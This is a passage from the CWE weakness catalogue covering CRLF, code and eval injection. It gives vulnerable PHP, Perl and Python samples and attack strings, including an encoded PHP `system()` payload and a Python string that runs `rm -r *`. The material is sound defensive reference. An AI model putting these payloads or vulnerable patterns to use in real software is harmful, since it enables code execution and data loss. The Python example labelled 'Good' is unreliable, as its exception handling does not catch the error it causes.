Under-reported. This is likely found regularly by third party code auditors, but there are very few publicly reported examples.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			XML injection (aka Blind Xpath injection)
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	23		XML Injection
Software Fault Patterns	SFP24		Tainted input to command

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
83	XPath Injection
250	XML Injection

## References

[REF-882]Amit Klein. "Blind XPath Injection". 2004 May 9. < <http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')

**Weakness ID** : 93

**Structure** : Simple

**Abstraction** : Base




### Description

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf		113	Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')	263
CanPrecede		117	Improper Output Neutralization for Logs	279

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

Avoid using CRLF as a special sequence.

#### Phase: Implementation

Appropriately filter or quote CRLF sequences in user-controlled input.

### Demonstrative Examples

#### Example 1:

If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.

*Example Language: Java*

*(Bad)*

```
logger.info("User's street address: " + request.getParameter("streetAddress"));
```

### Observed Examples

Reference	Description
<b>CVE-2002-1771</b>	CRLF injection enables spam proxy (add mail headers) using email address or name. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1771">https://www.cve.org/CVERecord?id=CVE-2002-1771</a>
<b>CVE-2002-1783</b>	CRLF injection in API function arguments modify headers for outgoing requests. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1783">https://www.cve.org/CVERecord?id=CVE-2002-1783</a>
<b>CVE-2004-1513</b>	Spoofed entries in web server log file via carriage returns <a href="https://www.cve.org/CVERecord?id=CVE-2004-1513">https://www.cve.org/CVERecord?id=CVE-2004-1513</a>
<b>CVE-2006-4624</b>	Chain: inject fake log entries with fake timestamps using CRLF injection <a href="https://www.cve.org/CVERecord?id=CVE-2006-4624">https://www.cve.org/CVERecord?id=CVE-2006-4624</a>

Reference	Description
<b>CVE-2005-1951</b>	Chain: Application accepts CRLF in an object ID, allowing HTTP response splitting. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1951">https://www.cve.org/CVERecord?id=CVE-2005-1951</a>
<b>CVE-2004-1687</b>	Chain: HTTP response splitting via CRLF in parameter related to URL. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1687">https://www.cve.org/CVERecord?id=CVE-2004-1687</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2124
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			CRLF Injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	24		HTTP Request Splitting
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
15	Command Delimiters
81	Web Server Logs Tampering

### References

[REF-928]Ulf Harnhammar. "CRLF Injection". Bugtraq. 2002 May 7. < <http://marc.info/?l=bugtraq&m=102088154213630&w=2> >.

## CWE-94: Improper Control of Generation of Code ('Code Injection')

**Weakness ID** : 94  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

### Extended Description

When a product allows a user's input to contain code syntax, it might be possible for an attacker to craft the code in such a way that it will alter the intended control flow of the product. Such an alteration could lead to arbitrary code execution.

Injection problems encompass a wide variety of issues -- all mitigated in very different ways. For this reason, the most effective way to discuss these weaknesses is to note the distinct features which classify them as injection weaknesses. The most important issue to note is that all injection problems share one thing in common -- i.e., they allow for the injection of control plane data into the user-controlled data plane. This means that the execution of the process may be altered by sending code in through legitimate data channels, using no other mechanism. While buffer









overflows, and many other flaws, involve the use of some further issue to gain execution, injection problems need only for the data to be parsed. The most classic instantiations of this category of weakness are SQL injection and format string vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf		95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	220
ParentOf		96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	225
ParentOf		1336	Improper Neutralization of Special Elements Used in a Template Engine	2060
CanFollow		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	229

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

## Applicable Platforms

**Language** : Interpreted (*Prevalence = Sometimes*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity  <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality	Execute Unauthorized Code or Commands	

Scope	Impact	Likelihood
Availability	<i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities	
	<i>Often the actions performed by injected control code are unlogged.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Refactor your program so that you do not have to dynamically generate code.

#### Phase: Architecture and Design

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as `system()`, `exec()`, or `exit()`.

#### Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

#### Phase: Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

#### Phase: Operation

*Strategy = Compilation or Build Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

### Phase: Operation

*Strategy = Environment Hardening*

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

### Demonstrative Examples

#### Example 1:

This example attempts to write user messages to a message file and allow users to view them.

*Example Language: PHP*

*(Bad)*

```
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    $name = $_GET["name"];
    $message = $_GET["message"];
    $handle = fopen($MessageFile, "a+");
    fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
    fclose($handle);
    echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
    include($MessageFile);
}
```

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

*Example Language:*

*(Attack)*

```
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
```

which will decode to the following:

*Example Language:*

*(Attack)*

```
<?php system("/bin/ls -l");?>
```

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

#### Example 2:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

*Example Language: Perl*

*(Bad)*

```
use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_ ;
    # code to add a field/key to a file goes here
```

```

}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val)";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}
}

```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - `config_file_add_key()`, `config_file_set_key()`, or `config_file_delete_key()`. It could set up a conditional to invoke each function separately, but `eval()` is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language:

(Attack)

```
add_key(",",""); system("/bin/lS");
```

This would produce the following string in `handleConfigAction()`:

Example Language:

(Result)

```
config_file_add_key(",",""); system("/bin/lS");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious `eval()` to fail before the attacker's payload is activated. This particular manipulation would fail after the `system()` call, because the `"_key(\$fname, \$key, \$val)"` portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

### Example 3:

This simple script asks a user to supply a list of numbers as input and adds them together.

Example Language: Python

(Bad)

```

def main():
    sum = 0
    numbers = eval(input("Enter a space-separated list of numbers: "))
    for num in numbers:
        sum = sum + num
    print(f"Sum of {numbers} = {sum}")
main()

```

The `eval()` function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the `eval()` function, it will execute that code. For example, a malicious user could supply the following string:

Example Language:

(Attack)

```
__import__('subprocess').getoutput('rm -r *')
```

This would delete all the files in the current directory. For this reason, it is not recommended to use `eval()` with untrusted input.

A way to accomplish this without the use of `eval()` is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a `ValueError`. By avoiding `eval()`, there is no opportunity for the input string to be executed as code.

Example Language: Python

(Good)

```
def main():
    sum = 0
    numbers = input("Enter a space-separated list of numbers: ").split(" ")
    try:
        for num in numbers:
            sum = sum + num
        print(f"Sum of {numbers} = {sum}")
    except ValueError:
        print("Error: invalid input")
main()
```

An alternative option is to use the `ast.literal_eval()` function from Python's `ast` module. This function considers only Python literals as valid data types and will not execute any code contained within the user input.

## Observed Examples

Reference	Description
<b>CVE-2022-2054</b>	Python compiler uses <code>eval()</code> to execute malicious strings as Python code. <a href="https://www.cve.org/CVERecord?id=CVE-2022-2054">https://www.cve.org/CVERecord?id=CVE-2022-2054</a>
<b>CVE-2021-22204</b>	Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-22204">https://www.cve.org/CVERecord?id=CVE-2021-22204</a>
<b>CVE-2020-8218</b>	"Code injection" in VPN product, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-8218">https://www.cve.org/CVERecord?id=CVE-2020-8218</a>
<b>CVE-2008-5071</b>	Eval injection in PHP program. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5071">https://www.cve.org/CVERecord?id=CVE-2008-5071</a>
<b>CVE-2002-1750</b>	Eval injection in Perl program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1750">https://www.cve.org/CVERecord?id=CVE-2002-1750</a>
<b>CVE-2008-5305</b>	Eval injection in Perl program using an ID that should only contain hyphens and numbers. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5305">https://www.cve.org/CVERecord?id=CVE-2008-5305</a>
<b>CVE-2002-1752</b>	Direct code injection into Perl eval function. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1752">https://www.cve.org/CVERecord?id=CVE-2002-1752</a>
<b>CVE-2002-1753</b>	Eval injection in Perl program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1753">https://www.cve.org/CVERecord?id=CVE-2002-1753</a>
<b>CVE-2005-1527</b>	Direct code injection into Perl eval function. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1527">https://www.cve.org/CVERecord?id=CVE-2005-1527</a>
<b>CVE-2005-2837</b>	Direct code injection into Perl eval function. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2837">https://www.cve.org/CVERecord?id=CVE-2005-2837</a>

Reference	Description
<b>CVE-2005-1921</b>	MFV. code injection into PHP eval statement using nested constructs that should not be nested. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1921">https://www.cve.org/CVERecord?id=CVE-2005-1921</a>
<b>CVE-2005-2498</b>	MFV. code injection into PHP eval statement using nested constructs that should not be nested. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2498">https://www.cve.org/CVERecord?id=CVE-2005-2498</a>
<b>CVE-2005-3302</b>	Code injection into Python eval statement from a field in a formatted file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3302">https://www.cve.org/CVERecord?id=CVE-2005-3302</a>
<b>CVE-2007-1253</b>	Eval injection in Python program. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1253">https://www.cve.org/CVERecord?id=CVE-2007-1253</a>
<b>CVE-2001-1471</b>	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1471">https://www.cve.org/CVERecord?id=CVE-2001-1471</a>
<b>CVE-2002-0495</b>	Perl code directly injected into CGI library file from parameters to another CGI program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0495">https://www.cve.org/CVERecord?id=CVE-2002-0495</a>
<b>CVE-2005-1876</b>	Direct PHP code injection into supporting template file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1876">https://www.cve.org/CVERecord?id=CVE-2005-1876</a>
<b>CVE-2005-1894</b>	Direct code injection into PHP script that can be accessed by attacker. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1894">https://www.cve.org/CVERecord?id=CVE-2005-1894</a>
<b>CVE-2003-0395</b>	PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0395">https://www.cve.org/CVERecord?id=CVE-2003-0395</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	2209
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	CODE		Code Evaluation and Injection

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files
77	Manipulating User-Controlled Variables
242	Code Injection

### References



[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

**Weakness ID** : 95

**Structure** : Simple

**Abstraction** : Variant

### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

### Extended Description

This may allow an attacker to execute arbitrary code, or at least modify what code can be executed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	213

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

**Language** : JavaScript (*Prevalence = Undetermined*)

**Language** : Python (*Prevalence = Undetermined*)

**Language** : Perl (*Prevalence = Undetermined*)

**Language** : PHP (*Prevalence = Undetermined*)

**Language** : Ruby (*Prevalence = Undetermined*)

**Language** : Interpreted (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories Read Application Data <i>The injected code could access restricted data / files.</i>	

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>In some cases, injectable code controls authentication; this may lead to a remote vulnerability.</i>	
Access Control	Gain Privileges or Assume Identity <i>Injected code can access resources that the attacker is directly prevented from accessing.</i>	
Integrity Confidentiality Availability Other	Execute Unauthorized Code or Commands <i>Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.</i>	
Non-Repudiation	Hide Activities <i>Often the actions performed by injected control code are unlogged.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

If possible, refactor your code so that it does not need to use eval() at all.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

### Demonstrative Examples

#### Example 1:

edit-config.pl: This CGI script is used to modify settings in a configuration file.

Example Language: Perl

(Bad)

```

use CGI qw(:standard);
sub config_file_add_key {
    my ($fname, $key, $arg) = @_;
    # code to add a field/key to a file goes here
}
sub config_file_set_key {
    my ($fname, $key, $arg) = @_;
    # code to set key to a particular file goes here
}
sub config_file_delete_key {
    my ($fname, $key, $arg) = @_;
    # code to delete key from a particular file goes here
}
sub handleConfigAction {
    my ($fname, $action) = @_;
    my $key = param('key');
    my $val = param('val');
    # this is super-efficient code, especially if you have to invoke
    # any one of dozens of different functions!
    my $code = "config_file_${action}_key(\$fname, \$key, \$val)";
    eval($code);
}
$configfile = "/home/cwe/config.txt";
print header;
if (defined(param('action'))) {
    handleConfigAction($configfile, param('action'));
}
else {
    print "No action specified!\n";
}

```

The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - `config_file_add_key()`, `config_file_set_key()`, or `config_file_delete_key()`. It could set up a conditional to invoke each function separately, but `eval()` is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:

Example Language:

(Attack)

```
add_key(",","); system("/bin/l$");
```

This would produce the following string in `handleConfigAction()`:

Example Language:

(Result)

```
config_file_add_key(",","); system("/bin/l$");
```

Any arbitrary Perl code could be added after the attacker has "closed off" the construction of the original function call, in order to prevent parsing errors from causing the malicious `eval()` to fail before the attacker's payload is activated. This particular manipulation would fail after the `system()` call, because the `"_key(\$fname, \$key, \$val)"` portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated.

**Example 2:**

This simple script asks a user to supply a list of numbers as input and adds them together.

Example Language: Python

(Bad)

```

def main():
    sum = 0
    numbers = eval(input("Enter a space-separated list of numbers: "))

```

```

for num in numbers:
    sum = sum + num
print(f"Sum of {numbers} = {sum}")
main()

```

The `eval()` function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the `eval()` function, it will execute that code. For example, a malicious user could supply the following string:

*Example Language:*

*(Attack)*

```
__import__('subprocess').getoutput('rm -r *')
```

This would delete all the files in the current directory. For this reason, it is not recommended to use `eval()` with untrusted input.

A way to accomplish this without the use of `eval()` is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a `ValueError`. By avoiding `eval()`, there is no opportunity for the input string to be executed as code.

*Example Language: Python*

*(Good)*

```

def main():
    sum = 0
    numbers = input("Enter a space-separated list of numbers: ").split(" ")
    try:
        for num in numbers:
            sum = sum + num
        print(f"Sum of {numbers} = {sum}")
    except ValueError:
        print("Error: invalid input")
main()

```

An alternative option is to use the `ast.literal_eval()` function from Python's `ast` module. This function considers only Python literals as valid data types and will not execute any code contained within the user input.

## Observed Examples

Reference	Description
<b>CVE-2022-2054</b>	Python compiler uses <code>eval()</code> to execute malicious strings as Python code. <a href="https://www.cve.org/CVERecord?id=CVE-2022-2054">https://www.cve.org/CVERecord?id=CVE-2022-2054</a>
<b>CVE-2021-22204</b>	Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-22204">https://www.cve.org/CVERecord?id=CVE-2021-22204</a>
<b>CVE-2021-22205</b>	Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-22205">https://www.cve.org/CVERecord?id=CVE-2021-22205</a>
<b>CVE-2008-5071</b>	Eval injection in PHP program. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5071">https://www.cve.org/CVERecord?id=CVE-2008-5071</a>
<b>CVE-2002-1750</b>	Eval injection in Perl program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1750">https://www.cve.org/CVERecord?id=CVE-2002-1750</a>
<b>CVE-2008-5305</b>	Eval injection in Perl program using an ID that should only contain hyphens and numbers. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5305">https://www.cve.org/CVERecord?id=CVE-2008-5305</a>
<b>CVE-2002-1752</b>	Direct code injection into Perl eval function. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1752">https://www.cve.org/CVERecord?id=CVE-2002-1752</a>

Reference	Description
<b>CVE-2002-1753</b>	Eval injection in Perl program. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1753">https://www.cve.org/CVERecord?id=CVE-2002-1753</a>
<b>CVE-2005-1527</b>	Direct code injection into Perl eval function. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1527">https://www.cve.org/CVERecord?id=CVE-2005-1527</a>
<b>CVE-2005-2837</b>	Direct code injection into Perl eval function. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2837">https://www.cve.org/CVERecord?id=CVE-2005-2837</a>
<b>CVE-2005-1921</b>	MFV. code injection into PHP eval statement using nested constructs that should not be nested. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1921">https://www.cve.org/CVERecord?id=CVE-2005-1921</a>
<b>CVE-2005-2498</b>	MFV. code injection into PHP eval statement using nested constructs that should not be nested. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2498">https://www.cve.org/CVERecord?id=CVE-2005-2498</a>
<b>CVE-2005-3302</b>	Code injection into Python eval statement from a field in a formatted file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3302">https://www.cve.org/CVERecord?id=CVE-2005-3302</a>
<b>CVE-2007-1253</b>	Eval injection in Python program. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1253">https://www.cve.org/CVERecord?id=CVE-2007-1253</a>
<b>CVE-2001-1471</b>	chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1471">https://www.cve.org/CVERecord?id=CVE-2001-1471</a>
<b>CVE-2007-2713</b>	Chain: Execution after redirect triggers eval injection. <a href="https://www.cve.org/CVERecord?id=CVE-2007-2713">https://www.cve.org/CVERecord?id=CVE-2007-2713</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	714	OWASP Top Ten 2007 Category A3 - Malicious File Execution	629	2124
MemberOf	<b>C</b>	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	<b>C</b>	1179	SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)	1178	2258
MemberOf	<b>C</b>	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

### Notes

#### Other

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Direct Dynamic Code Evaluation ('Eval Injection')
OWASP Top Ten 2007	A3	CWE More Specific	Malicious File Execution
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
Software Fault Patterns	SFP24		Tainted input to command
SEI CERT Perl Coding Standard	IDS35-PL	Exact	Do not invoke the eval form with a string argument

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

**Weakness ID** : 96

**Structure** : Simple

**Abstraction** : Base



### Description

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.

### Relationships

